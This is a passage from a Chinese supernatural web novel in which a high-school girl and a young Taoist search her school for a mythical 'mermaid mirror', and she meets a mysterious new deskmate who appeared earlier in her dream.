“哦？这么说你已经见过孟婆和黑白无常了？”外婆语气平静，像是看穿了沈聆葫芦里卖的药。
沈聆一愣：“啊？外婆你知道他们的身份？”
外婆轻笑，表情并没有任何惊讶之情：“是啊，他们三个在陵川市已经有一段时间了，我还以为他们三个会一直藏下去……来，坐下来吃饭，都是一家人，不要客气。”
“好的，麻烦您了。”
“外婆真厉害，做了好多菜呢！”
两个小辈告了坐，他们一左一右坐在外婆两边。
“外婆，您早就知道了孟婆和黑白无常的身份怎么不告诉我啊。”
“告诉你做什么，你这个小辈，那是神仙打架的事情
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，你这肉体凡胎的参与进去，小命还要不要了？”外婆说着，拿过沈聆的碗，给外孙女盛了点鱼汤，“来，今天早上特地去买的鱼汤，你的伤刚刚痊愈，喝点鱼汤能补身体。”
“好嘞。”
“男娃儿，你也喝点，你膝盖的伤还没有完全愈合，这几天多吃点，补补身体，青城山那大山里，能有什么好东西，既然来了我们家，就多吃点好吃的。”
外婆说着，也要给吴妄盛汤，吴妄忙道了谢：“您先来，您先来。”
“这娃儿挺有礼貌的，哈哈哈，不用客气，就当做是自己家里就好了。”
“好的。”吴妄礼貌谦让地让沈聆瞬间有点儿恍惚，眼前这个人还是不是自己认识的吴妄了。
——你就装吧。
沈聆看着吴妄，内心暗暗想。
吴妄察觉到了她的目光，也看了她一眼，似乎猜到了沈聆心里在想什么，斜眼一挑眉，那眼神似乎在说“你奈我何？我在长辈面前就是表现出一副超级乖的样子”。
虽然带着几分拘束，还是开始吃饭了起来。
“外婆，您是怎么知道我们要回来的？甚至做的菜都比平时多……您是猜到了吴妄这几天会住在我们家吗？”
“不是，是那个臭老头说的。”
“您是说……玉蘅子真人？”沈聆讶异，“我们下山的时候，玉蘅子真人还在山上呢，难道他能瞬间移动到山下？”
“不是，他们修炼之人，都会传音入秘，他有时候会传些话给我，但是我一般都没理会他，只因为这几日你在青城山上，我才理睬他。”
外婆的语气中带着几分傲娇，几分不甘心，似乎还在为当年的事情怄气。
吴妄和沈聆对视了一眼，他们虽然心下知道外婆和玉蘅子真人的往事，但也不敢就这么胡乱提到，毕竟是两个长辈的陈年旧事，不知道他们心里是否放下了这件事情，都不好贸然提及。
沈聆点了点头：“……其实，吴妄这次下山是想找一个东西，那个东西就在我们陵川市……外婆，您有听过人鱼镜吗？”
“人鱼镜？”外婆皱起眉头，“你找那个劳什子做什么？”
“是这样……小辈有一些问题，或许人鱼镜能给我答案。”吴妄认真地看着外婆，解释说道，“我师傅给了我一个线索，人鱼镜目前在陵川市，但是具体在哪里我们并不知道，我此行下山，也是为了找到人鱼镜，这个镜子关系到小辈家族的事情，还请您不吝赐教。”
外婆并没有急着回答，她吃了几口饭，似乎在思考着什么。
半晌，抬起头看向了吴妄：“我并不常在陵川市区，聆娃儿也知道，老婆子我常年住在乡下，关于这面镜子，我也只是听到过一些风言风语……”
“您指的是……”
“人鱼镜，一直以来都是人鱼一族的传世之宝，人鱼族经过上千年的化形修炼，已经掌握了化身成人的技巧，他们隐藏在人群中，并且极为隐蔽，只有人鱼族的族长才知道人鱼镜的下落……而我知道的人鱼族最后一次出现的地点，就是聆娃儿现在就读的学校。”
沈聆一愣：“您指的是……陵川一中？！”
111. 宋明夷的早餐
且说，这几天吴妄住在沈聆家，沈聆家的客房暂时给了吴妄住着，而外婆睡在爸爸妈妈的主房里，沈聆和妹妹沈凝一直都是同一个房间，房子虽然不大，三个人住着倒也温馨。
宋明夷听说沈聆回来的时候，马不停蹄地就从新隆公寓赶了过来。
在那天早上急切的敲门声响起的时候，被敲门声吵醒的沈聆揉着惺忪的睡眼从房间里出来。
“咚咚咚——咚咚咚——”
“来了来了——”
沈聆一打开家门，便看见刚下了夜班的宋明夷正站在门外，她还化着妆、提着一袋子早餐，看见沈聆开门的时候，突然就扑了上来，给了沈聆一个大大的熊抱。
“你回来啦！”
“诶诶？？小心——”
沈聆被宋明夷这一扑，她没有站稳身子，直接往后摔去，两人就这么摔在了玄关门口。
“疼疼疼……宋明夷你是属狗的啊，这么扑人的。”
“哎呀，对不起嘛，我还以为你伤得很重，没有个五六年好不了呢……”
宋明夷双手撑在地上，支撑起身体，摇晃了一下身旁的塑料袋，沈聆看见里面有包子有油条有豆浆，这家伙虽然做事不太靠谱，但却也有贴心的时候，知道一大早上门，他们都没有吃早饭，索性直接带了过来。
“放心，我身体里有灵元草，我的康复能力没那么弱的。”
沈聆看着坐在自己身上的宋明夷。
就在这时，脚步声靠近了，两个女孩子寻声看去，吴妄穿着白色的睡衣、蓝色的拖鞋出现在客房门口。
“你们一大早做什么呢……”
只见他随意地披散着那如瀑布般垂落的头发，修道者向来注重自身形象，其头发更是比常人要长得多。而此时当他将头发完全放下时，沈聆这才发现原来吴妄的头发是及腰长发，只因为他素来盘着或者扎起高马尾，因此并不多见他披散着头发的模样。
有那么几缕发丝落在他清俊的脸颊两侧，更增添了几分慵懒与随性，他揉了揉眼睛，那双眼眸还带着几分朦胧和惺忪之意，显然是才从梦境之中被唤醒过来。
“呀，吴道长也在这里？！”宋明夷显然并没有料到吴妄也住在沈聆家。
这忽然出现的男人，倒是让宋明夷愣了一下，随后，她转念一想，像是想到了什么，目光在沈聆和吴妄身上来回扫了扫，眼神中带着几分耐人寻味的意思起来。
同为女孩子的沈聆自然知道宋明夷这个眼神的含义，忙推开了坐在自己身上的宋明夷：“去去去，想什么呢，不是你想的那样，道长刚从青城山下来，没有地方住，暂时住在我家客房罢了……”
“哦？这么好？那怎么连睡衣都有了？合着是从青城山有备而来的？”
“不是，那个是我爸的睡衣，我寻思着他们的身高差不多，就拿着我爸的旧衣服给他穿了，反正他暂时也没有钱买衣服。”
沈聆自己一轱辘从地上站起来了，宋明夷仍旧是斜着眼睛看着他们，那目光，那表情，简直跟八卦新闻专栏的狗仔队如出一辙。
“那你们就这样孤男寡女地住着，关系不一般啊，啧啧啧，我早就觉得你俩挺般配的，不然趁着这个机会‘生米煮成熟饭’算了……”
宋明夷还没有说完，就看见沈聆的外婆从房间里出来了，老人家一抬眼看见了宋明夷，微微一笑。
“女娃娃来了，这么早就过来，吃了早饭了吗？”
尴尬了！
尴尬爆了！
宋明夷现在恨不得找个地缝钻进去，只希望刚才自己一番调侃的话没有被沈聆的外婆听到！
“我我……外婆好，我刚刚从医院下班，我还没吃早饭，不过我买了早饭过来，我们一起吃吧！”
宋明夷说着，自己从地上爬起来了，熟练地关上了家门，并换上了拖鞋，跟个主人一样，招呼着大家到餐桌边吃饭。
在吃早饭的时候，宋明夷简单跟沈聆说了一下关于新隆公寓那件事情的处理结果——
面包店的老板已经死了，法医检查了他的尸体，发现他是因为喉部所有血管、肌肉全都被捏碎而死的，但现场并没有找到能够造成这样死因的东西，因此，先以“突发意外猝死”对社会进行结果公布，但暗中将继续调查面包店老板的事情，因为他的死亡，牵涉到另外五个人的死。
警方根据面包店里发现的物证进行溯源调查，确定了另外五个被提炼了尸油、做成小鬼的死者身份，发现他们都是本市五年以来的失踪人口，在他们失踪之后，家人也都有报案过，但却从来没有找到死者尸体，或者是找到部分死者的物件，被伪装成意外死亡。
根据这个线索，警方通报了死者家人，并归还了死者生前的遗物。
因为这件事情涉及到诡秘的事情，因此这五个人的死亡情况并没有对外公布，只作为警方内部的机密文件，只有相关调查人员或者是权限级别够高的人才能够了解。
此外，关于流浪汉的事情，仍有一番言论。
警方从新隆公寓带回去的流浪汉吞吞吐吐地说了面包店老板虐待孩子的事情，原来，在面包店老板绑架孩子的时候，他就在现场，并跟着面包店老板来到了面包店后门，从虚掩的后门门缝里看到了面包店老板虐待李子晨的全过程，同时，面包店老板也发现了他，为了警告他不要多言，就编纂了“有神明在看着他”的谎言，并让鹦鹉时时刻刻跟着流浪汉，流浪汉心智不全，听到的人声其实都是鹦鹉说的话罢了。
之所以面包店的老板没有杀掉流浪汉，是因为流浪汉在附近的几个小区很久了，他如果失踪，很容易引起周围住户的怀疑，到时候闹起来难保不会引来警方的调查，因此，与其冒险除掉流浪汉，更不如选择警告流浪汉，毕竟就算流浪汉真的说出什
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么不该说的话，他是一个疯子，是一个痴儿，没有人会对他的话在意，更不会有人因为他的话而报警。
流浪汉本能地感觉到自己看到的事情很严重，但他没办法说出去，害怕自己真的会遭到神明的报应，于是在半夜里，偷偷在自己住的楼梯间墙壁上画下了自己看到的所有事情。
至此，所有的疑团算是基本告破。
但也有存在几个无法调查的疑点：是谁指使了面包店老板做这些诡异的事情？那只会说话的鹦鹉一看就价格不菲、为何身为赌徒的面包店老板没有用它换钱，而是继续养在身边？世界上是否真的有超自然力量能够杀死一个大活人？面包店老板连杀五个人，这是他一个人能做到的吗？他是否另有帮凶？死亡的五个人是刻意选择还是随机杀人？
……
这些疑团，都随着面包店老板的死亡不得而知。
警方只能继续调查面包店老板的社会信息，看看他生前接触过谁，是否有仇家，是否有联系过可疑之人，案子并没有完结，而是一直在侦破中。
宋明夷说，在沈聆被带回青城山的这段时间，林凌都在忙着处理这件案子，警察局人手不够，他更是三班倒、没日没夜地泡在警察局调查证物、询问人证，听说警察局还专门成立了一个专案组处理面包店老板的案子，林凌是专案组的主力，更是忙得不可开交。
沈聆也跟宋明夷说了自己在青城山的遭遇，出于保密考虑，她刻意隐瞒了关于孟婆和黑白无常的事情，毕竟三位都不是阳间的人，他们在阳间的行踪也不好太多透露给阳间的人。此外，沈聆告诉了宋明夷自己接下来的打算——调查陵川一中，找到人鱼镜。
她并没有告诉吴妄的往事，而只是告诉宋明夷找到人鱼镜将对吴妄有帮助，自己也希望可以回报青城山对自己的救命之恩。
“人鱼镜？你确定在陵川一中吗？”
“我也不能百分百的确定，但我外婆说，人鱼镜一直都是人鱼一族的传世珍宝，而人鱼族曾经出现在陵川一中，刚好是我的学校，我想着我回学校报道一下，顺便调查一下看看有没有人鱼的线索。”
宋明夷点了点头：“既然是这样，我也来帮你。”
“你要怎么帮我？”
“我上网找找有关的线索，看看陵川一中的论坛、贴吧有没有关于人鱼的东西，我跟你说啊，现在的学生都可厉害了，关于学校里什么诡异的传闻全都知道，他们表达欲很旺盛，又很中二，经常会发在论坛、贴吧、□□空间、学校墙这种地方，你放心，有我在，一定帮你搜到！”
宋明夷拍了拍胸脯，表示这件事情就包在自己身上，一副“我做事、你放心”的样子。
沈聆轻笑：“好呀，那就麻烦你了，我从前倒是没想过我的学校居然会卧虎藏龙，正好，趁着这个机会，让我看看，我的同学里，是不是有一些‘奇怪的人’。”
112. 报到
陵川一中始建于1982年，经过多年的发展与沉淀，已成为陵川市教育的一张亮丽名片。
在漫长的岁月中，学校始终秉持着优良的教育传统，为社会培养了无数优秀人才。
在硬件方面，这座学校作为陵川市唯一的高中，环境优美，绿树成荫，花香四溢，学校里，现代化的教学楼、实验楼、图书馆等设施一应俱全，为学生提供了良好的学习环境，宽敞明亮的教室配备了先进的教学设备，如多媒体教学系统、电子白板等，有助于提高教学效率。
在软件方面，陵川一中注重学校文化建设，形成了“团结、勤奋、求实、创新”的校训和“严谨、博学、爱生、奉献”的教风和“尊师、守纪、勤学、善思”的学风，学校通过开展各种文化活动，如校园文化节、主题班会等，营造了浓厚的校园文化氛围，增强了学生的凝聚力和归属感。
在教育教学方面，陵川一中始终坚持以学生为中心，注重培养学生的综合素质。学校开设了丰富多样的课程，包括文化课程、艺术课程、体育课程等，满足不同学生的兴趣爱好和发展需求。同时，学校积极推行素质教育，开展各种课外活动和社团活动，如科技创新大赛、文艺汇演、体育比赛等，丰富学生的课余生活，培养学生的创新精神和实践能力。
当然，这些都是宋明夷在搜索与陵川一中有关的资料时，在新闻上看到的。
新闻媒体的宣传通告总是用尽极其官方的语言夸赞这所中学，陵川一中有高中部也有初中部，每年考上名牌大学的人才也成百上千，这学校的师资力量也很丰厚，可以说，是周围县区中，教学质量以及教学成绩最好的一所中学。
沈聆目前就是陵川一中的学生。
在父母出车祸前，她是陵川一中高三尖子班的学生，她的成绩一直都保持在年段前二十名，可以说，如果她能够一直保持着这样的学习成绩，考上名牌大学不是问题，可偏偏在最关键的高三下学期的时候，她的家里出现了意外情况，父母在一夜之间死亡，妹妹也在ICU昏迷不醒，这样的意外无疑是对沈聆的打击。
班主任考虑到沈聆的情况特殊，特地准许她请假半个月在家里料理爸妈的身后事以及妹妹的事情，在家里的情况稳定之后，再到学校来报到。
虽然因为中间出现了一些意外情况，沈聆回校报道的时间有所延迟，但班主任也跟教务处说明了沈聆的特殊情况，取得了校领导的谅解，在补了一份延迟报到的情况说明之后，这件事情便解决了。
“哒哒哒。”
高跟鞋踩在走廊上，一下、一下发出清脆的声音。
沈聆跟在班主任身后，朝着高三部走去。
她今天回校报到，解决完手续上的事情，剩余的时间要回班级上课。
“因为你差不多一个月没来，落下了一些复习课，不过没关系，考虑到你的情况，我都有特地叫班长和学习委员将复习资料留存一份给你，沈聆，你回去之后要好好复习，再几个月就高考了，你要尽快从家庭的变故走出来，好好考一个好大学，才是对你爸妈最大的安慰，我想你爸妈在天有灵，也是这么希望的。”
班主任步伐矫健地走在前方，她那副黑框眼镜稳稳地架在鼻梁之上，一根朴素无华的黑色皮筋将她柔顺的长发束起，在脑后扎成了一个低垂的马尾，显得简洁而又利落。她身着一袭干练的白色西装裙，那裙子的剪裁恰到好处，既凸显出她的专业形象，又不失女性的柔美气质。只见她的右手紧紧抱着一本厚厚的教学笔记本，急匆匆地走着，似乎有许多重要的事情等待着她去处理。
她是高三年级尖子班的班主任，于老师，作为高三年尖子班的班主任，在她身上压力有多大可想而知，她要负责起这一届尖子生的成绩，她的性格从着装就可以看出十分干练简洁，做事干脆果断，任何事情都不喜欢拐弯抹角。
沈聆像个秘书一样紧跟其后，不得不略微加快自己的脚步，才能勉强跟上班主任的节奏。
这时，班主任开口说道：“不过还好，沈聆，你平时成绩都很好，老师相信你的自习能力和自控能力，下周年段会组织一次模拟考，希望你能利用这几天的时间好好复习，争取在年段模拟考的时候取得一个优异的成绩。”
说话间，班主任微微转过头来，目光落在沈聆身上。
然而，她很快就察觉到沈聆此时的状态有些不对劲，她的眼神略显恍惚，仿佛思绪飘到了九霄云外。
于是，班主任停下匆忙的脚步，注视着沈聆，关切地问道：“你怎么了？是不是身体不舒服？还是心里有什么事儿？”
听到班主任的询问，沈聆回过神来，脸上露出一丝尴尬的笑容，挠了挠头说：“额……我只是有点儿疑惑。”
班主任皱了皱眉，追问道：“什么疑惑？快说来听听。”
沈聆犹豫了一下，然后鼓起勇气说道：“老师……我之前好像从来没有见您穿过这套白色的西装裙，这是您新买的衣服吗？”
原来是这件事情。
于老师低下头看了一眼自己的衣服，一向不苟言笑的她第一次笑了一下：“对，这是我上周买的，你请假在家里，所以没看到，我还挺喜欢这套衣服的，怎么样，是不是很凸显老师女强人的形象？”
她说着，还转了个圈圈，摆了个姿势。
沈聆微微一笑：“对，很好看。”
但她此刻内心想的却是另一件事情——
她记得自己在幻境里的时候，梦到的是自己身在学校、并被班主任于老师叫出去的场景，随后便看到了自己已经死亡的父母开车载着妹妹在等她上车一起走。
当时，梦境里的于老师，也是穿着这套衣服。
但让沈聆不安的是，在此之前，她从来没有见过
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于老师穿过这套白色的西装裙，她也是今天才看到的。
那么为何在她的幻境里，于老师会穿着她没有见过的衣服出现？
按道理，梦境基础应该是做梦人在现实中看见的人、发生的事情，所有的事情不会凭空出现，她很肯定，自己在幻境里看到的于老师就是穿着眼前这套衣服，并且所有细节——无论是裙子的长短还是裙子的这周都如出一辙，这如果只是巧合，有点说不过去。
她只感觉到哪里不太对劲，伸出左手掐了掐自己的脸蛋，感觉到脸颊一阵生疼，沈聆确定自己此刻是在现实世界里，不是做梦。
“好了好了，我们走吧，现在是英语课。”
班主任说着，领着沈聆朝着教室而去，沈聆点了点头，穿着黑白校服的她乖乖跟在班主任身后，绕过了几条走廊，走着走楼梯来到了六楼，在六楼走廊的尽头，就是他们尖子班。
班级里正在放英语听力，从听力的对话内容可以听得出来，是两个人在商场里的对话，一个是销售员，一个是买家。
为了不打断听力的播放，沈聆和于老师站在走廊里等了一会儿。
沈聆的视线透过教室的窗户看了一眼坐在教室里的同学们，那些和她一样年纪的同学们正埋着头做着英语听力的试卷，他们和她一样都穿着黑白色的校服，但他们和她又不一样，他们都有完整的家庭，但现在，沈聆的家庭四分五裂了，短短一个月时间，她似乎已经和他们隔了一条银河一样，他们都在全身心备战高考，而自己，不知不觉成为了阴厨，并且遇到了许多诡异灵异的事件，在学习上的心思也被分走了许多。
她甚至有点儿担心，自己现在是否能够静下心来学习，是否还能赶上同学们的进度，如果今年考不上一个好大学，是否要复读？如果考不上一个好大学，早逝的父母会不会对自己失望呢……
就在沈聆沉思的时候，她的视线不由自主落在自己的座位上，忽然，她注意到自己的座位旁坐着一个人。
准确的说，是一个男同学。
沈聆的父母出事前，沈聆是没有同桌的，原本的同桌因为跟不上尖子班的进度，在高三上学期转校了，沈聆几乎有大半个学期都是没有同桌的状态，但现在不知为何，她看到自己座位旁那原本空空的座位上，正坐着一个男同学。
他留着干脆利落的发型，脸庞轮廓分明，身材消瘦的他，如同风中的芦苇，略显单薄，那苍白的脸颊，仿佛从未被阳光充分照耀过，带着一种病态的美感，他静静地坐在窗户旁边，左手随意地拿着笔，修长的手指骨节分明，右手轻轻托着下巴，神情有些恍惚，看起来似乎没有在认真听英语听力。
不经意间的眼角余光，他也瞥见了站在走廊里的沈聆，他侧过脸，对上了沈聆的视线。
在对视的那一瞬间，沈聆忍不住惊呼出声——
“梁林？！”
113. 新同桌
清晨那清浅柔和的阳光，宛如一层薄薄的金纱，透过教室的窗棂，轻轻洒落在那个男生的身上，阳光仿佛拥有神奇的魔力，为他原本就俊朗的面容更添了几分温暖和明亮。
就在此时，一个名字如同闪电般划过沈聆的脑海，她甚至来不及思考，便直接脱口而出：“梁林！”
声音清脆响亮，瞬间打破了教室里原有的宁静，教室里所有人都看向了走廊，也看到了近乎一个月没有上学的沈聆。
“是沈聆诶！”
“沈聆来上课啦！”
“我好久都没有看到她了，好像更瘦了点……”
“这也难怪，家里发生那样的事情，有几个人能承受得住……”
同学们窃窃私语了起来，但站在讲台旁的英语老师拍了拍手，示意大家专心听英语听力，不要分心。
在短暂的吵闹后，教室里又重新归于平静。
而站在走廊里的沈聆依旧无比震惊地盯着坐在自己座位旁边的那个男同学，目光仿佛被黏住一般无法移开，对方也正无声地看着她，那眼神带着几分让她看不透的深意。
眼前的这个人，与她在幻境中所见到的那个人逐渐重合起来，她清楚地记得自己在幻境里经历的一切，也记得在那场厉鬼编织的噩梦里，梁林这个人，被班主任带到了教室里，并在自己身旁入座。
当时，他的自我介绍，就是梁林。
听到沈聆喊出这个名字，于老师满脸疑惑地看着沈聆，问道：“怎么？你认识梁林？”
面对老师的询问，沈聆这才稍微回过神来，此刻，她的脑海中像是突然被清空了一样，一片空白，完全不知道该如何回应老师的问题。
时间仿佛在这一刻凝固了，周围的一切都变得安静无声，只有沈聆那颗剧烈跳动的心，还在不断提醒着她，刚刚发生的事情有多么不可思议。
“我……”
“我知道了，你是听其他同学说的吧，不错，他是叫梁林。”于老师介绍，“他是你的新同桌，也是刚刚转到我们班的学生，他的成绩很好，之前在外地读书，高三这年转回来的，因为他梁氏家族的产业在陵川市，他的父亲希望他回来多接触接触家里的事情。”
梁氏家族？
沈聆皱起眉头。
不知道为什么，她似乎感觉自己在哪里听到过“梁氏”这两个字。
但是……是在哪里呢？
她一下子想不起来了。
沈聆皱起眉头。
她涉世未深，不知道梁氏企业在陵川市的地位，不知道梁氏家族的情况，但她日后就会发现，梁氏，就像是笼罩在陵川市上空的一片乌云，他们的企业之大、经济体量之大，让他们在陵川市几乎是横行无阻的存在，如果说这个世界上有一种东西是万能的，那么这东西一定是金钱，而梁氏家族，最不缺的就是金钱。
当然，这些都是后话。
眼前，沈聆惊讶于为什么自己在幻境里看到的一切在现实中得到了延续，也惊讶于幻境是否真的是幻境……
但她没办法告诉第二个人这件事情，只能愣神地站在教室的走廊外，内心早已经发生了无数次“大爆炸”。
在英语听力练习结束的时候，于老师将沈聆带进了教室里。
“同学们，我们很久没看到的同学——沈聆，今天回来报道了，大家要多帮帮沈聆，这阶段她落下了一些复习功课，学习委员要将那些试卷和练习册交给沈聆，另外，大家要好好相处，尽量互帮互助，最后一学期了，大家一起努力冲刺，考一个好大学，考上大学就解放了！”
班主任说着通用的话术，似乎全世界的班主任都会安慰大家“考上大学就解放”了，但真的考上大学后才会发现，只不过从一个小“监狱”转移到了另一个更大的“监狱”，而在大学毕业之后，大家都会步入社会，那才是更大的“监狱”，毕竟，人的一辈子，都在被各种事情所困扰，这些困扰、羁绊构成的桎梏才是一生都无法离开的。
沈聆朝着全班的同学们微微鞠躬，同学们看着她的眼神，都带着几分同情。
毕竟大家都知道沈聆家里发生的事情，也知道沈聆这个月有多不容易，同情弱者的表情在这些青春懵懂、不知掩饰的高中生身上暴露无余。
这些同情的眼神看的沈聆不太舒服，她并不是一个需要别人同情的人，相反，她更希望别人以平常心对待她，不要把她当做特殊的存在。
“大家好，我旷课了一个月，不过现在我家里的事情处理得差不多了，我很快就能回来上课，我一定会努力学习，跟上大家的进度，不给我们班拖后腿。”
沈聆轻声说着，台下响起了同学们安慰的掌声。
沈聆微微一笑，在同学们的目光中，走向了自己的座位。
她的座位在第二列、第四排，原本她是没有同桌的，但现在，她的座位旁却坐着一个陌生的男同学。
她在自己原来的座位上坐下，桌子上依旧堆放着许多练习册、课本，还有她的文具盒和水杯，这一切都和她离开的那天一模一样，只不过桌子上多了许多整整齐齐折好的试卷，这些卷子应该就是她请假的时候老师布置的。
于老师点了点头，拍了拍英语老师的手臂后，走出了教室。
英语老师拍了拍手，将同学们的注意力重新吸引到课堂上：“好了好了，同学们，接下来我们继续上课，大家拿出红笔，我们现在对一下刚才英语听力的答案。”
教室里响起了一片翻动试卷的声音，同学们注意力又转移到眼前自己做的卷子上。
沈聆深吸了一口气，她感觉到不太对劲，那个浑身煞气的小女孩似乎比她想象中要更厉害一点，现实世界甚至开始延伸出她编织的幻境的内容来，沈聆不知道究竟是现实世界受到了厉鬼的影响还是这一切只是可怕的巧合，但无论如何，她本能地感觉到事情并不简单。
整个陵川市，就像是一个巨大的棋盘。
有人正在执子下棋，而他们，就连自己当前的对手都看不清楚。
敌人在暗处，他们在明处。
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>他们能赢吗？
“你好，我叫梁林。”
一个声音在耳畔响起，那声音和沈聆在梦境中听到的都一模一样。
沈聆暗暗在心里喊了一声“救命，要不要这样玩我”。
沈聆略机械地转过头，对上了梁林那双深邃的眼睛，他的眼眸是深蓝色的，就像是蓝色的宝石一样，很奇特。
“……沈聆。”
“我知道，你家里最近出了点事情，不过不用担心，如果有需要我帮忙的地方随时可以吩咐我。”
梁林面带微笑，语气谦逊有礼，嘴里不停地说着那些客套的话语。
然而，沈聆凝视着他的双眸，却丝毫感受不到其中应有的温度和热情，只见他的嘴唇一张一合，声音平稳而流畅，可那双眼睛却如同深不见底的寒潭一般，毫无生气与波动。
——仿佛无论外界发生怎样的事情，都难以在其眼底掀起一丝涟漪，更别提激起任何情感的浪花了。
这种感觉实在太过诡异，就好像......
她正盯着一双属于死人的眼睛！
刹那间，一股寒意自脊梁骨升腾而起，迅速蔓延至全身，沈聆忍不住狠狠地打了一个冷颤。
她不敢再继续直视那对令人毛骨悚然的眼眸，急忙别过头去，试图将刚刚看到的画面从脑海中驱散。
“多谢你，但是我目前没有什么需要同学帮助的地方，我都挺好的。”
“那就好，我刚来了一周，这周的课我都有抄笔记，可以先借给你复习。”
梁林说着，将笔记本递给了沈聆，沈聆来不及拒绝，他就已经把三四本笔记本放在了她面前的桌子上。
“好。”
沈聆敷衍着梁林的话，已经汗流浃背了。
她本以为今天只是简单地到学校报到一下，并想着顺便从同学们的嘴里了解一下关于陵川一中是否有一些秘闻，但没想到遇见了这一出。
“……你看起来状态不是很好，是不是最近做噩梦了？”
梁林加重了“噩梦”这两个字，话里话外带着几分深意。
沈聆微微皱起眉头，想了想，回答道：“噩梦倒是做了，但是还不至于分不清噩梦和现实。”
“是吗？但是有时候，现实可是比噩梦更恐怖的。”梁林说着，看向了讲台。
在黑板前，英语老师正将英语听力的答案写在黑板上。
“现实在恐怖，我们还是要面对的，不是吗……一味沉浸在梦境中不肯醒来，那可不是什么好事。”
“但是梦里会有你想要的东西的。”
沈聆轻声说道：“梦里的东西再好，可那终究不是真的，又有谁会为了虚假的东西放弃现实中真正存在的东西呢。”
“是这个道理。”梁林微微一笑。
“你不对答案吗？”沈聆扫了一眼梁林的试卷，却发现他并没有动红笔改卷。
梁林将卷子丢在一边，随意地说道：“没这个必要，我不用对答案就知道……我的卷子，一定是全对的。”
114. 女寝猝死案
在英语课结束之后的课间休息时间，沈聆决定跟其他同学打听一下自己所不知道的事情。
在这之前，沈聆一向都是“两耳不闻窗外事”的乖乖女，从来不愿意多和其他同学八卦一些无所谓的话题，在她看来，自己是学生，分内的事情就是做好学习的事情，在考场上考出一个好成绩，除此之外的事情她并不感兴趣。
但现在不一样了。
她必须在学校里查到一些与人鱼族有关的线索，说不定，人鱼镜现在就藏在陵川一中。
沈聆走出教室，来到六楼的走廊。
温煦的阳光轻柔地擦过走廊白色的栏杆，如金色的手指般抚摸着浅色的地砖。走廊上，许多学生正悠闲地站在栏杆旁晒太阳，手里捧着书本，阳光洒落在他们身上，仿佛为他们披上了一层金色的外衣，就像那璀璨的未来希望在他们身上熠熠生辉。
当目光从走廊缓缓向外望去，首先映入眼帘的是一片开阔的景象。那椭圆形的足球场，宛如一块巨大的碧玉，在阳光的照耀下散发着生机勃勃的气息。旁边深红色的跑道，恰似一条鲜艳的丝带，环绕着足球场，仿佛在诉说着无数青春的奔跑与拼搏。
食堂和图书馆并肩而立。食堂那充满生活气息的建筑；图书馆则庄重而宁静，像一位智慧的长者，默默守护着知识的宝藏。更远处，教务处的教学办公楼威严耸立，白色的砖墙、蓝色的玻璃彰显着学校的严谨与规范。
沈聆沉默了一下，朝着几个围在一起说话的女同学走去。
凑在走廊上说话的，一共有三个女生，她们三个是本班的八卦中心，日常喜欢在下课的时间凑在一起讨论各种明星八卦、或者周边的逸闻趣事，可以说，整个年段乃至于整个学校的事情，她们多少都知道一些，就算她们不知道，她们一定也和其他喜欢八卦的女生建立了□□群，要知道，在那样的群里，可以说是信息中心也不为过。
“沈聆，你来上学啦。”
看见沈聆走到身边，其中一个女孩子热情地跟沈聆打招呼。
说话的是一个短头发的女生，她叫郑玲玲，是班级的副班长，学习成绩在班级里只是中上，但人际关系却八面玲珑，是一个天生的外交高手，能和任何同学打成一片，无论是差班的混混还是尖子班的学霸，全都是她的□□好友，在年段里，也算是一号风云人物。老师选择她当副班长也是看中了她的交际能力，能够化解同学之间的矛盾，提高团队的凝聚力。
“好久没见你啦。”
“感觉你好像清瘦了一点诶，减肥秘籍是什么，跟我们分享分享吧！”
其他两个女孩子也向沈聆打招呼。
在郑玲玲身旁站着的两个女孩子，一个叫刘柠，一个叫叶卓宁，她们是郑玲玲的死党，刘柠长得平平无奇，身材微胖，脸上满是青春痘，而叶卓宁是年段的段花，一头乌黑靓丽的秀发，大大的眼睛，高挑的鼻梁，樱桃小嘴，苗条的水蛇腰身段，让她成为许多男人心中的白月光。
“这倒是没有什么减肥秘籍，就是最近比较忙，吃的东西比较少，自然而然就瘦了点。”沈聆微微一笑。
身材微胖的刘柠羡慕地看着沈聆：“真好诶，哪里像我，怎么样都减不下来，我最近决定液断减肥了，我就不信我过不了130的平台期！”
“液断？柠檬，你能坚持几天啊，算了吧，你每次都喊着要减肥，哪次超过三天了，到第二天就嚷嚷着肚子饿，狂吃碳水，到时候我可拉不住你。”叶卓宁斜着眼睛看着刘柠。
女孩子都是细心敏感的，沈聆知道对方特地说了一些比较平常的话题，是为了让一切看起来依然如旧，为的是让沈聆没有感觉到自己因为家庭变故而被特殊对待，她们依旧是她的朋友，她喜欢这样的感觉。
“对了，沈聆，你现在的同桌可是个风云人物啊。”郑玲玲神秘兮兮地凑近了沈聆，她的视线擦过沈聆的肩膀，看着坐在教室里的梁林。
“怎么说？”
“那个梁林，听说是梁家的二公子，你知道梁家吗？就是梁氏集团！听说他们家资产过亿，房地产、餐饮业、制造业等等都有涉及，梁林的爸爸就是现在梁氏集团的掌权人，妥妥的富二代啊！”
刘柠插话说道：“不对不对，梁林应该是富三代，我听说啊，梁家从梁林他爷爷那辈就发家了，当时他爷爷下海经商，赚了一大笔，一下子跃升当地首富，到他爸爸这一代，更是在投资方面朵朵开花，那资产，可是几何倍数地翻番！”
好家伙，这不过几天时间，她们已经挖到了这么多关于梁家的新闻。
沈聆感叹于八卦小能手搜集信息的能力，同时，她也感觉到梁林的特殊，因此在关于梁家的事情上也格外留心了几分。
她隐隐约约觉得梁林和那个煞气缠身的小女孩脱不开关系，否则为什么他也会出现在自己的幻境里面？明明在此之前，自己从来没有见过他，更遑论在幻境和现实的世界里，两个梁林的姓名、长相都一模一样？
这如果说是巧合，也太牵强了一点。
幻境的构成，一方面是源于沈聆现实中的经历，另一方面，就是筑梦者的操控，而那个幻境的构建者，就是煞气缠身的小女孩。
说不定，梁林和她也有着脱不开的关系。
“梁林是一周前转到我们班上的吗？”
“对，当时你不在，于老师就安排他当你的新同桌了。”刘柠补充了一句，“其实刚开始于老师打算让他坐在第六排的，但是梁林自己说要坐在你旁边，也不知道为什么，真让人羡慕呢，有这么一个有钱的帅哥坐在旁边。”
郑玲玲点了点头：“而且他的成绩也很好，这几次模拟考下来，他基本上都是年段前三名，这样的成绩高考的时候稳定发挥的话，清华北大也不是问题啊，就算失常发挥，985也是妥
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妥的，完全是天生玛丽苏小说的男主人选啊！沈聆，要是你能钓到他，你就赚大了！”
“钓？人家又不是鱼。”沈聆一笑。
